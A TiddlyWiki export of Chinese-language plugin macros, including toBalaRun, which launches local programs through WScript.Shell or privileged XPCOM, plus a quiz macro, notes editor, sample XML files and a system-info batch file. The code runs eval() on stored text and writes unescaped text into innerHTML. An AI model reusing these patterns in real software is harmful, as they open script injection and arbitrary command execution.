      
            // 設定主標題
            var xt = store.getTiddler("SiteTitle");  
            xt.text=  yform.elements[0].value;

            // 設定次標題
            var xt = store.getTiddler("SiteSubtitle");  
            xt.text=  yform.elements[1].value;

            // 設定 MainMenu
            var xt = store.getTiddler("MainMenu");  
            xt.text=  yform.elements[2].value;

            // 設定 ToolBar
            var xt = store.getTiddler("toBalaToolBar");  
            xt.text=  yform.elements[3].value;

            // 備份 SiteTitle, SiteSubtitle, ToolBar, MainMenu  
            ytiddler.text=preText; 
            saveChanges(false);   // 參數 false, 代表不管 Dirty 與否, 均要執行存檔動作
        },

	handler : function(place,macroName,params,wikifier,paramString,tiddler){

                if (!readOnly) {
		    createTiddlyButton(place,"儲存設定","儲存設定",
                          function(e) { config.macros.toBalaManager.save(e,tiddler,xform); },
                          "toBalaManagerSave",null,null);
                }

		var xform = createTiddlyElement(place,"form",tiddler.title+"-form","toBalaManager",null,null);
                // 讀取主標題
                var xlabel1 = createTiddlyElement(xform,"label",null,"",null,null);
		wikify("''主標題 (~SiteTitle) :  ''",xlabel1);
                var xtitle1 = createTiddlyElement(xform,"input",null,"xManagerMT",null,null);
                var xt = store.getTiddler("SiteTitle");   
		xtitle1.value=xt.text;
		wikify("\n\n",xform);

                // 讀取次標題
                var xlabel2 = createTiddlyElement(xform,"label",null,"",null,null);
                wikify("''次標題 (~SiteSubtitle) :  ''",xlabel2);
                var xtitle2 = createTiddlyElement(xform,"input",null,"xManagerST",null,null);
                var xt = store.getTiddler("SiteSubtitle");   
		xtitle2.value=xt.text;
		wikify("\n\n",xform);

                // 讀取 MainMenu
                var xlabel4 = createTiddlyElement(xform,"label",null,"",null,null);
                wikify("''資訊樹 (TagsTree)''",xlabel4);
		wikify("\n",xform);
                var xmm = createTiddlyElement(xform,"textarea",null,"xManagerMM",null,null);
                var xt = store.getTiddler("MainMenu");   
                xmm.value=xt.text;
		wikify("\n\n",xform);

                // 讀取 ToolBar
                var xlabel3 = createTiddlyElement(xform,"label",null,"",null,null);
                wikify("''工具列 (~ToolBar)''",xlabel3);
		wikify("\n",xform);
                var xtb = createTiddlyElement(xform,"textarea",null,"xManagerTB",null,null);
                var xt = store.getTiddler("toBalaToolBar");   
                xtb.value=xt.text;
		wikify("\n\n",xform);

                // 備份 SiteTitle, SiteSubtitle, ToolBar, MainMenu
	        var xtext=store.getTiddlerText(tiddler.title);
                var x1 = xtext.indexOf("/"+"/"+"/"+"%");
                xtext = ( x1 == -1 ? xtext : xtext.substring(0,x1) );

                preText=xtext+"\n\n/"+"/"+"/"+"%" ;
                preText=preText+"\n\n"+xtitle1.value;
                preText=preText+"\n\n"+xtitle2.value;
                preText=preText+"\n\n"+xmm.value;
                preText=preText+"\n\n"+xtb.value;
                preText=preText+"\n" + "/"+"/"+"%"+"/";

	}		
};

setStylesheet(".toBalaManager {background:#eee; font-size:12px;border:1px solid #ccc; padding:2px; margin:5px;}\n"+
".xManagerMT {width:550px;height:25px;}\n" +
".xManagerST {width:550px;height:25px;}\n" +
".xManagerTB {width:680px;height:100px;}\n" +
".xManagerMM {width:680px;height:240px;}\n" +
".toBalaManagerSave {border:1px solid #ccc;font-size:14px;padding:2px;margin-left:4px;margin-bottom:2px;}\n" ,
"toBalaManagerStyles");
//}}}
/***
|''巨集名稱:''|toBalaNotes|
|''版本:''|1.1 (2010-03-29)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''||
***/

//{{{
config.macros.toBalaNotes={
	
	editLabel: "編輯",
	editTip: "編輯",
        saveLabel: "儲存",
	saveTip: "儲存",
        cancelLabel: "取消",
	cancelTip: "取消",
        heading: "@@font-size:12px;color:#841;註解@@",
    
	GUIEditButtonOnclick: function(e,xtiddler,xbox,xx,yy) {
            removeChildren(xbox);

            var boxtool = createTiddlyElement(xbox,"div",null,"toBalaNotesToolBar",null,null);
            var boxtext = createTiddlyElement(xbox,"textarea",null,null,null,null);
	    wikify(this.heading+" : ",boxtool);

            // alert(xtitle+":"+xx+":"+yy);
            boxtext.setAttribute("rows",15);
            boxtext.setAttribute("cols",88);

            xstr=xtiddler.text.substring(xx,yy).replace(/&lt;/g, "<");
            xstr=xstr.replace(/&gt;/g, ">");
            xstr=xstr.replace(/&#123;/g, "{");
            xstr=xstr.replace(/&#125;/g, "}"); 
            boxtext.value = xstr;

            createTiddlyButton(boxtool,this.saveLabel,this.saveTip,
                            function(e) { config.macros.toBalaNotes.GUISaveButtonOnclick(e,xtiddler,xbox,boxtext,xx,yy); },
                            "toBalaNotesSave",null,null);
	    createTiddlyButton(boxtool,this.cancelLabel,this.cancelTip,
                            function(e) { config.macros.toBalaNotes.GUICancelButtonOnclick(e,xtiddler,xbox,xx,yy); },
                            "toBalaNotesCancel",null,null);
        },

	GUISaveButtonOnclick: function(e,xtiddler1,xbox1,boxtext1,xx1,yy1) {
            removeChildren(xbox1);
            toptext=xtiddler1.text.substring(0,xx1);
            bottomtext=xtiddler1.text.substring(yy1);

            xstr=boxtext1.value.replace(/\</g, "&lt;");
            xstr=xstr.replace(/>/g, "&gt;");
            xstr=xstr.replace(/{/g, "&#123;");
            xstr=xstr.replace(/}/g, "&#125;");
            xstr=xstr.replace(/\/\/%\//g, "");
            xstr=xstr.replace(/\/\/\/%/g, "");
            xtiddler1.text=toptext+xstr+bottomtext;

            yy1=xtiddler1.text.indexOf("/"+"/"+"%"+"/",xx1);

            var boxtool = createTiddlyElement(xbox1,"div",null,"toBalaNotesToolBar",null,null);
	    wikify(this.heading+" : ",boxtool);

	    createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaNotes.GUIEditButtonOnclick(e,xtiddler1,xbox1,xx1,yy1);},
                            "toBalaNotesEdit",null,null);

             var boxarea = createTiddlyElement(xbox1,"div",null,null,null,null); 
             boxarea.innerHTML="<pre id='toBalaNotesText'>"+xstr+"</pre>";
	     // wikify("<nowiki>"+xtiddler1.text.substring(xx1,yy1)+"</nowiki>",boxarea);
             saveChanges(false);   // 參數 false, 代表不管 Dirty 與否, 均要執行存檔動作
             clearMessage();
        },

	GUICancelButtonOnclick: function(e,xtiddler1,xbox1,xx1,yy1) {
            removeChildren(xbox1);

            var boxtool = createTiddlyElement(xbox1,"div",null,"toBalaNotesToolBar",null,null);
	    wikify(this.heading+" : ",boxtool);

	    createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaNotes.GUIEditButtonOnclick(e,xtiddler1,xbox1,xx1,yy1);},
                            "toBalaNotesEdit",null,null);

             var boxarea = createTiddlyElement(xbox1,"div",null,null,null,null);
             boxarea.innerHTML="<pre id='toBalaNotesText'>"+xtiddler1.text.substring(xx1,yy1)+"</pre>";
	     //wikify("<nowiki>"+xtiddler1.text.substring(xx1,yy1)+"</nowiki>",boxarea);
        },

	handler : function(place,macroName,params,wikifier,paramString,tiddler){

		var xtext=store.getTiddlerText(tiddler.title);
                var x1=xtext.indexOf("/"+"/"+"/"+"%" + params[0]);

                // 自動產生 TiddlyWiki 備註
                if (x1 == -1) { 
                   xtext=xtext+"\n\n/"+"/"+"/"+"%" + params[0] + "\n" + "/"+"/"+"%"+"/";
                   tiddler.text=xtext; 
                   story.refreshTiddler(tiddler.title,null,true);
                   saveChanges(false);     // 參數 false, 代表不管 Dirty 與否, 均要執行存檔動作
                   clearMessage();
                   return;
                 }
                var x2=xtext.indexOf("/"+"/"+"%"+"/",x1);
                x1=x1+params[0].length+5;

		var box = createTiddlyElement(place,"div",tiddler.title+"-"+x1,"toBalaNotes",null,null);
                var boxtool = createTiddlyElement(box,"div",null,"toBalaNotesToolBar",null,null);
		wikify(this.heading+" : ",boxtool);

                var boxtext = createTiddlyElement(box,"div",null,null,null,null);
                boxtext.innerHTML="<pre id='toBalaNotesText'>"+xtext.substring(x1,x2)+"</pre>";
		// wikify("<nowiki>"+xtext.substring(x1,x2)+"</nowiki>",boxtext);

                if (readOnly) {
                   return;
                }

		createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaNotes.GUIEditButtonOnclick(e,tiddler,box,x1,x2);},
                            "toBalaNotesEdit",null,null);
	}		
};

setStylesheet(".toBalaNotes {background:#eee; border:1px solid #ccc; padding:2px; margin:5px;}\n"+
".toBalaNotesEdit {border:1px solid #ccc;padding:2px;margin-top:2px;margin-bottom:2px;}\n" +
".toBalaNotesCancel {border:1px solid #ccc;padding:2px;margin-top:2px;margin-right:2px;margin-bottom:2px;}\n" +
".toBalaNotesToolBar {border-bottom: 2px dotted #556b2f;padding:1px 0px 5px 0px;margin:1px;}\n" +
".toBalaNotesSave {border:1px solid #ccc;padding:2px;margin-top:2px;margin-right:2px;margin-bottom:2px;}\n"+
"#toBalaNotesText {background-color:#eee;border:none;margin:1px;padding:0px}\n",
"toBalaNotesStyles");
//}}}
在文章中使用 toBalaNotes 巨集, 可在文章中加入備註, 請看以下使用說明

{{item1{使用格式}}}
{{{
<<toBalaNotes "test">>

"test" 代表備註識別字串

[註] 一篇文章中可以存在多個備註
}}}

<<toBalaNotes "test">>

///%test
//%/
/***
|''巨集名稱:''|toBalaRun|
|''版本:''|1.0 (2008-04-01)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''| |
***/

//{{{
config.macros.toBalaRun = {};
config.macros.toBalaRun.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  if (readOnly) {
     return;
  }

  if (!params[0]) {
     alert("請給檔名");
     return;
  }
  var fname = params[0];                //  執行檔名
  var varg = params[1] || "";             //  執行參數
  var label = params[2] || "執行 : "+fname + " " + varg;
  var tooltip = params[3] || "執行檔名 : "+fname + " " + varg;
  var result = params[4] || "yes";

  window.status="";
  createTiddlyButton(place, label, tooltip,
       function(e) { config.macros.toBalaRun.cmd(e,fname,varg,result); },
       null, null, null);
}

config.macros.toBalaRun.cmd = function(ev,xfname,xarg,xresult) {

  if (!xfname.match(".bat")) {
      //var xwin = toBala.showMsg("<h1>執行中, 請稍後</h1>",250,50);
      window.status = xfname + " " + xarg + " 執行中, 請稍後";
  }

  if (config.browser.isIE) {
     window.event.cancelBubble=true;
  } else {  
     ev.cancelBubble = true;   
     if (ev.stopPropagation)  
        ev.stopPropagation();
  }

  var baseDIR = getLocalPath(document.URL);
  //alert(baseDIR);

   if (config.browser.isWindows) {
      var baseDIR = baseDIR.replace(/\//g,"");
      var x = baseDIR.lastIndexOf("\\");
      xfname = "\\" + xfname.replace(/\//g,"\\");
      xarg = xarg.replace(/\//g,"\\");
   } else {
      var x = baseDIR.lastIndexOf("/");
      xfname = "/" + xfname.replace(/\\/g,"/");
      xarg = xarg.replace(/\\/g,"/");
   }

   baseDIR = baseDIR.substr(0,x);
   //alert(baseDIR);

   if (config.browser.isIE) {
	var theShell = new ActiveXObject("WScript.Shell");
	if (theShell) {
            var runstr = baseDIR + xfname + " " + xarg;
            // alert(runstr);
	    try {
	        theShell.run(runstr,1, (xresult == "yes" ? true:false));
	    } catch (e) {
                try {          //  執行系統命令
                    var runstr = xfname.substring(1)+ " " + xarg;
                    theShell.run(runstr,1, (xresult == "yes" ? true:false));
                } catch(e) {
                   if (!xfname.match(".bat")) 
                      window.status="";
		   displayMessage("執行失敗 :" + runstr);
		   return;
                }
	    }
	} 
   } else if (config.browser.isGecko) { 
	netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
        var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);

        try {
           var runstr = baseDIR +xfname; 
           // alert(runstr);
           file.initWithPath(runstr);
        }catch (e) {
           if (!xfname.match(".bat")) 
              window.status="";
           displayMessage("執行字串格式錯誤 : " + runstr);
           return;
        }

	try {
	   var process = Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);
           var Aargs = xarg.split(" ");
           // alert(Aargs);
           process.init(file);
           process.run((xresult == "yes" ? true:false), Aargs, Aargs.length);
	} catch (e) {
            try {    //  執行系統命令
                runstr=xfname.substring(1);
                file.initWithPath(runstr);
                process.init(file);
                process.run((xresult == "yes" ? true:false), Aargs, Aargs.length);
            } catch (e) {
                if (!xfname.match(".bat")) 
                    window.status="";
	        displayMessage("執行失敗 : " + runstr);
                return;
            }
	}
   }
   // 顯示執行結果
   if ( !xfname.match(".bat") && !xfname.match(".sh") && xresult == "yes") {
      window.status="";
      xf = baseDIR+xfname+".htm"
      // alert(xf);
      var xh = 400;
      var xw = 780;
      var winl = (screen.width-xw)/2;
      var wint = (screen.height-xh)/2;
      if (winl < 0) winl = 0;
      if (wint < 0) wint = 0;
      var settings = 'height='  + xh +  ', width=' + xw  + ',top='  + wint  + ',left='  + winl + ',scrollbars=yes';
      var ywin=window.open("file:///"+xf,"HTMLWIN",settings);
   }
}
//}}}
在文章中使用 toBalaRun 巨集, 可執行系統中的 ''命令'', ''批次檔'', 請看以下使用說明

{{item1{使用格式}}}

__在 Windows 系統中, 啟動 tbsys.bat  批次檔__
{{{
<<toBalaRun "tbsys.bat"  ""  "System Info (batch)">>
}}}
<<toBalaRun "tbsys.bat" "" "System Info (batch)">>


__在 Windows 系統中, 因執行 exe 檔, 執行後會自動開啟一個 [執行結果視窗]__
{{{
<<toBalaRun  "tbsys.exe"  ""  "System Info (exe)">>
}}}
<<toBalaRun "tbsys.exe" "" "System Info (exe)">>

__在 Mac OS X 系統中, 啟動 ~TextEdit 應用程式, 因最後一個參數是 "no", 所以不會開啟一個 [執行結果視窗] __
{{{
<<toBalaRun "/usr/bin/open"  "-a /Applications/TextEdit.app"  ""  ""  "no">>
}}}
<<toBalaRun "/usr/bin/open" "-a /Applications/TextEdit.app" "" "" "no">>


{{item1{tbsys.bat 批次檔內容}}}
{{{
@echo off

REM 取得這個 Batch File 的目錄
set toBalaPath=%~p0

REM 取得這個 Batch File 的磁碟代號
set toBalaDrv=%~d0

REM 轉換磁碟及目錄
call %toBalaDrv%
cd %toBalaPath%

REM 設定環境變數
REM -----------------
set JAVA_HOME=%cd%\jdk1.6.0_05
set CLASSPATH=.;%cd%\jaxp;%cd%\java;%cd%\scjp
set CLASSPATH=%cd%\apache\xalan-j_2_7_1\xalan.jar;%CLASSPATH%
set CLASSPATH=%cd%\apache\xerces-2_9_1\xercesImpl.jar;%CLASSPATH%
set PATH=.;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;%cd%\cmdtools;%PATH%


REM 執行 java 命令
REM ------------------
if "%~x0" == ".bat" goto n1
echo ^<head^> >%0.htm
echo ^<meta http-equiv="Content-Type" content="text/html; charset=big5"^> >>%0.htm
echo ^</head^> >>%0.htm
echo ^<body^> >>%0.htm
echo 執行檔案 : %1 >>%0.htm
echo ^<hr^> >>%0.htm 
echo ^<pre style='font-size:12px'^> >>%0.htm
goto n2
:n1
echo 執行中, 請稍待 (檔案 : %1) 
echo. >%0.htm
:n2

gettype >> %0.htm 2>&1
echo.
ipconfig /all >> %0.htm 2>&1

REM 處理執行訊息
REM -------------------
if "%~x0" == ".bat" goto s1
echo ^</pre^> >>%0.htm
echo ^</body^> >>%0.htm
rem convertZ\convertz /i:big5 /o:utf8 %0.msg %0.htm
exit
:s1
type %0.htm
echo.
echo 執行完成
echo.
pause
}}}

{{item1{Quick Batch File Compiler - 將 Batch 檔轉換成 exe 檔}}}
Quick Batch File Compiler convert your batch files into actual program (.EXE format) in one click. This program may be run on Windows 2000/2003/XP/Vista without any limitations. An .EXE file is much harder to casually reverse-engineer, so this could be a way to conceal a particular batch file's operations from an end user. Content of your batch file will be encrypted and protected from changes.

Quick Batch File Compiler also lets you set various resources in the .EXE file, such as its description, the company name, version information and even the application icon. In additional, you may include any files to compiled exe file and use it during execution. 

網址 : http://www.abyssmedia.com/quickbfc/index.shtml
<<toBalaFile "xml\dtd01.xml">><<toBalaRun "java\jaxp\JAXPDTD.bat" "xml\dtd01.xml" "檢核">>

----

<<toBalaFile "xml\dtd02.xml">><<toBalaRun "java\jaxp\JAXPDTD.bat" "xml\dtd02.xml" "檢核">>


///%xml\dtd01.xml
<?xml version="1.0" encoding="big5"?>
<!DOCTYPE PersonData [
  <!ELEMENT PersonData (name,spouse)>
  <!ELEMENT name (#PCDATA)>
  <!ELEMENT spouse (#PCDATA)>
]>
<PersonData>
    <spouse>Teley</spouse>
    <name>Ryan</name>
</PersonData>
//%/

///%xml\dtd02.xml
<?xml version="1.0"?>
<!DOCTYPE user [
  <!ELEMENT user (name+,e-mail*,title?)>
  <!ELEMENT name (#PCDATA)>
  <!ELEMENT e-mail (#PCDATA)>
  <!ELEMENT title (#PCDATA)>
]>
<user>
  <name>Austin Sours</name>
  <e-mail>xchen@cmt.com.tw</e-mail>
  <e-mail>aaa@x,y,z</e-mail>
</user>
//%/
<<toBalaFile "xml\well01.xml">><<toBalaRun "java\jaxp\JAXPWell.bat" "xml\well01.xml" "檢核">>

----

<<toBalaFile "xml\well02.xml">><<toBalaRun "java\jaxp\JAXPWell.bat" "xml\well02.xml" "檢核">>


///%xml\well01.xml
<root>
  <marble color="red"/>
  <marble color='red'/>
</root>
//%/

///%xml\well02.xml
<first_tag>
  <second_tag>
     <third_tag>Contents of third tag
  </second_tag>
</First_tag>
//%/
<<toBalaFile "xml\stype.xsd">>


<<toBalaFile "xml\stype.xml">><<toBalaRun "java\jaxp\JAXPSchema.bat" "xml\stype.xml xml\stype.xsd" "檢核">>


///%xml\stype.xsd
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" 
                  targetNamespace="http://xsdtesting">
    <xs:element name="author" type="xs:date"/>
</xs:schema>
//%/

///%xml\stype.xml
<?xml version="1.0"?>
<x:author xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
          xmlns:x="http://xsdtesting"
          xsi:schemaLocation="http://xsdtesting stype.xsd">
123.5
</x:author>
//%/
<<toBalaFile "xml\deftemp.xml">>
DOM Tree
----------------
{{{
       .
       |
       |--- <?xml-stylesheet  type="text/xsl"  .... ?>   
       |--- <root>
                |
                |--- <text>
                |
                |
                |--- <text>
                |
                |
                |--- <!-- abcd --> 

}}}


<<toBalaFile "xml\deftemp.xsl">><<toBalaRun "java\jaxp\JAXPXSLT.bat" "xml\deftemp.xml xml\deftemp.xsl" "轉換">>


///%xml\deftemp.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="deftemp.xsl"?>
<root>
  <text>
    Roses are <color>red</color>, violets are <color>blue</color>.
  </text>
  <text>
    My <color>green</color> and <color id="xxx">yellow</color> 
    sweater is just the right hue.
    <?name type="bebo"?>
  </text>
  <!-- abcd -->
</root>
//%/

///%xml\deftemp.xsl
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 

<!-- <xsl:template match="*|/">
</xsl:template>  -->

<!-- <xsl:template match="processing-instruction()">
  PI : <xsl:value-of select="."/>
</xsl:template> -->

<!-- <xsl:template match="root"/> -->

</xsl:stylesheet>
//%/
{{item1{ZoomIt v1.8}}}
By Mark Russinovich
Published: March 10, 2008
網址 : http://technet.microsoft.com/zh-tw/sysinternals/bb897434(en-us).aspx

__''Introduction''__
~ZoomIt is screen zoom and annotation tool for technical presentations that include application demonstrations. ~ZoomIt runs unobtrusively in the tray and activates with customizable hotkeys to zoom in on an area of the screen, move around while zoomed, and draw on the zoomed image. I wrote ~ZoomIt to fit my specific needs and use it in all my presentations.

~ZoomIt works on all versions of Windows and you can use pen input for ~ZoomIt drawing on tablet ~PCs.

__''Using ~ZoomIt''__
The first time you run ~ZoomIt it presents a configuration dialog that describes ~ZoomIt's behavior, let's you specify alternate hotkeys for zooming and for entering drawing mode without zooming, and customize the drawing pen color and size. I use the draw-without-zoom option to annotate the screen at its native resolution, for example. ~ZoomIt also includes a break timer feature that remains active even when you tab away from the timer window and allows you to return to the timer window by clicking on the ~ZoomIt tray icon.

點選 <<toBalaRun "tbzoomit.bat" "" "ZoomIt v1.8" "" "no">> 啟動 Zoomit

{{item1{tbzoomit.bat 程式碼}}}
{{{
@echo off

REM 取得這個 Batch File 的目錄
set toBalaPath=%~p0

REM 取得這個 Batch File 的磁碟代號
set toBalaDrv=%~d0

REM 轉換磁碟及目錄
call %toBalaDrv%
cd %toBalaPath%

REM 設定環境變數
REM -----------------
set PATH=.;%cd%\tools;%cd%\tools\cmdtools;%PATH%
start /B zoomit.exe
exit

}}}
網址 : http://freemind.sourceforge.net/wiki/index.php/Main_Page

~FreeMind is a premier free mind-mapping (http://en.wikipedia.org/wiki/Mind_map) software written in Java. The recent development has hopefully turned it into high productivity tool. We are proud that the operation and navigation of ~FreeMind is faster than that of MindManager because of one-click "fold / unfold" and "follow link" operations.

So you want to write a completely new metaphysics? Why don't you use ~FreeMind? You have a tool at hand that remarkably resembles the tray slips of Robert Pirsig, described in his sequel to Zen and the Art of Motorcycle Maintenance called Lila. Do you want to refactor your essays in a similar way you would refactor software? Or do you want to keep personal knowledge base, which is easy to manage? Why don't you try ~FreeMind? Do you want to prioritize, know where you are, where you've been and where you are heading, as Stephen Covey would advise you? Have you tried FreeMind to keep track of all the things that are needed for that? 

Mac OS X 系統請點選以下按鈕

<<toBalaRun "java/freemind/freemind.sh"  ""  "啟動心智圖編輯器">>


Windows 系統請點選以下按鈕

<<toBalaRun "tbfreemind.bat"  ""  "啟動心智圖編輯器">>
/***
|''巨集名稱:''|toBalaSWF2|
|''版本:''|1.1 (2008-09-30)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''| |
***/
//{{{
config.macros.toBalaSWF2 = {};

config.macros.toBalaSWF2.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  var xname = params[0] || tiddler.title;
  var xwidth = params[1] || 600;
  var xheight = params[2] || 450;
  var label = params[3] || "撥放 : " + xname;

  createTiddlyButton(place, label, label,
       function(e) { config.macros.toBalaSWF2.show(e, xname, xwidth, xheight); },
       null, null, null);
}

config.macros.toBalaSWF2.show = function(ev,fname,xw,xh) {

  if (config.browser.isIE) {
     window.event.cancelBubble=true;
  } else {  
     ev.cancelBubble = true;   
     if (ev.stopPropagation)  
        ev.stopPropagation();
  }

  if (config.browser.isIE)
     var URLtext = document.URL.replace(/\\/g,"\/");
  else 
     var URLtext = document.URL;
  //alert(URLtext);

  var x = URLtext.lastIndexOf("/");
  var baseDIR = URLtext.substr(0,x);
  //alert(jsDIR);

  // 將視窗置中
  var winl = (screen.width-xw)/2;
  var wint = (screen.height-xh)/2;
  if (winl < 0) winl = 0;
  if (wint < 0) wint = 0;
  var settings = 'scrollbars=yes, resizable=yes, height='  + xh +  ', width=' + xw  + ',top='  + wint  + ',left='  + winl;
  var gen=window.open('',"_blank",settings);

  gen.document.open();
  gen.document.write("<html>");
  gen.document.write("<head>");
  gen.document.write("  <title>toBalaSWF2 : " + fname + "</title>");
  gen.document.write("  <script type='text/javascript' src='" + baseDIR + "/jslib/swfobject21/swfobject.js'></script>");
  gen.document.write("  <script type='text/javascript'>");
  gen.document.write("     swfobject.embedSWF('" + baseDIR + '/' + fname + "', 'mySWF21', '" + xw + "','" + xh + "', '9.0.0');");
  gen.document.write("  </script>");
  gen.document.write("</head>");
  gen.document.write("<body style='margin:0;padding:0'>");
  gen.document.write("  <div style='margin:0;padding:0;" +"width:" + (xw+2) +";height:" + (xh+2) +"' id='mySWF21'>");
  gen.document.write("    <p>無法撥放</p>");
  gen.document.write("  </div>");
  gen.document.write("</body>");
  gen.document.write("</html>");

  gen.document.close();
}
//}}}
/***
|''巨集名稱:''|toBalaTest|
|''版本:''|1.0 (2010-04-27)|
|''原始檔:''||
|''作者:''|Sung-Lin CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''||
***/

//{{{
config.macros.toBalaTest = {
  handler :  function(place,macroName,params,wikifier,paramString,tiddler) {

     var label = params[0] || "測試開始";
     var tooltip = params[1] || "開啟一個測試視窗";

     if (!params[2]) {
        alert("請給題庫名稱");
        return;
     } 
    
     if (!params[3]) {
        alert("請給題數");
        return;
     } 

     var xSubject = params[2];
     var xNumber = params[3];
     var xwidth = params[4] || 550;
     var xheight = params[5] || 400;
     var xcw = params[6] || "100%";
     var xch = params[7] || "100%";

     // 取出考題
     var xtext=store.getTiddlerText(tiddler.title);
     var x1=xtext.indexOf("/"+"/"+"/"+"%" + xSubject);
     x1=x1+ xSubject.length + 5;
     var x2=xtext.indexOf("/"+"/"+"%"+"/",x1);
     var xContent = xtext.substring(x1,x2);

     // 轉換成考題陣列
     var myTest = eval(xContent);

     // 打亂考題
     var tn=myTest.length;
     for(i=1;i<=500;i++) {
        j = Math.floor(Math.random() * tn);
        k = Math.floor(Math.random() * tn);
       
        var op;
        for (op in myTest[j])
           myTest[tn-1][op]=myTest[j][op];

        for (op in myTest[k])
           myTest[j][op]=myTest[k][op];

        for (op in myTest[tn-1])
           myTest[k][op]=myTest[tn-1][op];
     }

     // 確認題數
     xNumber = (xNumber<=myTest.length)? xNumber : myTest.length;

     // 將考題轉成網頁
     var xText="",i;
     for(i=1;i<=xNumber;++i) {
        xText=xText + "<div id='"+xSubject+i+"' style='position:absolute;left:10px;top:10px;visibility:hidden;'>";
        xText=xText + "第 " + i + "/" + xNumber + " 題" + "&nbsp;&nbsp;<input type='text' id='xTest_Input"+ i + "'/>";
        xText=xText + "&nbsp;<button onclick='xUp();'>上一題</button>&nbsp;<button onclick='xDown();'>下一題</button>";
        xText=xText + "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<button onclick='xScore();'>結束</button>&nbsp;";
        xText=xText + "<span style='visibility:hidden;color:red;' id='xTest_Answer"+i+"'>"+myTest[i][1]+"</span>";
        xText=xText + "<br/><br/><img style='border:1px solid black' src='"+myTest[i][0]+"' width='"+xcw+"' height='"+xch+"'/>";
        xText=xText + "</div>";
     }

     // 操作按鈕程式製作
     xText = xText + "<script>";
     xText = xText + "var xNumber=1, xNumberMax="+ xNumber +";var xSub='"+xSubject+"';";
     xText = xText + "document.getElementById(xSub+xNumber).style.visibility=''; ";
     xText = xText + "function xUp() { if (xNumber>1) {xNumber--;";
     xText = xText + "        document.getElementById(xSub+xNumber).style.visibility=''; ";
     xText = xText + "        document.getElementById(xSub+(xNumber+1)).style.visibility='hidden';} }";
     xText = xText + "function xDown() { if (xNumber<xNumberMax) {xNumber++;";
     xText = xText + "         document.getElementById(xSub+xNumber).style.visibility=''; ";
     xText = xText + "         document.getElementById(xSub+(xNumber-1)).style.visibility='hidden';} }";
     xText = xText + "function xScore() { var xc=0; var xA='';";
     xText = xText + "    for (i=1; i<=xNumberMax; ++i) {";
     xText = xText + "         xA=document.getElementById('xTest_Answer'+i).innerHTML.toLowerCase();";
     xText = xText + "         if (xA==document.getElementById('xTest_Input'+i).value.toLowerCase()) {"; 
     xText = xText + "            xc++;document.getElementById('xTest_Answer'+i).style.visibility='hidden' }";
     xText = xText + "         else { document.getElementById('xTest_Answer'+i).style.visibility=''; }";
     xText = xText + "    }";
     xText = xText + "    alert('共 ' + xNumberMax +' 題 : 答對 '+ xc +' 題'); }";
     xText = xText + "</script>";

     createTiddlyButton(place, label, tooltip,
         function(e) { config.macros.toBalaTest.run(e,xText,xwidth,xheight); },
         null, null, null);
  },

  run : function(ev,xct,xw,xh) {

     if (config.browser.isIE) {
        window.event.cancelBubble=true;
     } else {  
        ev.cancelBubble=true;   
        if (ev.stopPropagation)  
           ev.stopPropagation();
     }

     // 將視窗置中
     var winl = (screen.width-xw)/2;
     var wint = (screen.height-xh)/6;
     if (winl < 0) winl = 0;
     if (wint < 0) wint = 0;
     var settings = 'height='  + xh +  ', width=' + xw  + ',top='  + wint  + ',left='  + winl + ',scrollbars=yes';

     // 顯示考題網頁
     var xTest="<html><body style='color:black;font-size=36px;font-weight:bold'>" + xct + "</body></html>";

     // 開啟測試視窗
     var xwin=window.open('','',settings);
     xwin.document.open();
     xwin.document.write(xTest);
     xwin.document.close();
  } 
};
/*
利用 eval() 來將 JSON 字串轉成物件,不過字串的前後記得要加上刮號 (),這是用來告知 Javascript Interpreter 這是個物件描述,不是要執行的 statement。

但是呼叫 eval() 是危險的,因為他會執行任何字串中的 Javascript 程式碼,容易有 XSS 攻擊的危險,所以一般都建議引用官網上所提供的 parser - http://www.json.org/json.js 。
*/
//}}}
 [[首頁]] | [[土芭樂 3.0 - 數位新思路|http://tbala.net/]]  | [[TiddlyWiki 練功坊|http://tiddlywiki.tbala.net/]] | [[匯入文章]]  | [[匯出文章]]  |  &nbsp;&nbsp;<<toBalaRun "Java-CMD.bat" "" "命令提示視窗">>&nbsp;&nbsp;<<newTiddler label:"新增文章">>&nbsp;&nbsp;<<closeAll>>&nbsp;&nbsp;<<saveChanges>>&nbsp;&nbsp;IT 無涯,關機是岸
/***
|''巨集名稱:''|toBalaWrite|
|''版本:''|1.0 (2008-09-01)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''| |
***/

//{{{
config.macros.toBalaWrite = {};
config.macros.toBalaWrite.handler = function(place, macroName, params, wikifier, paramString, tiddler) {
	var title = params[0];
	if (title == tiddler.title) {
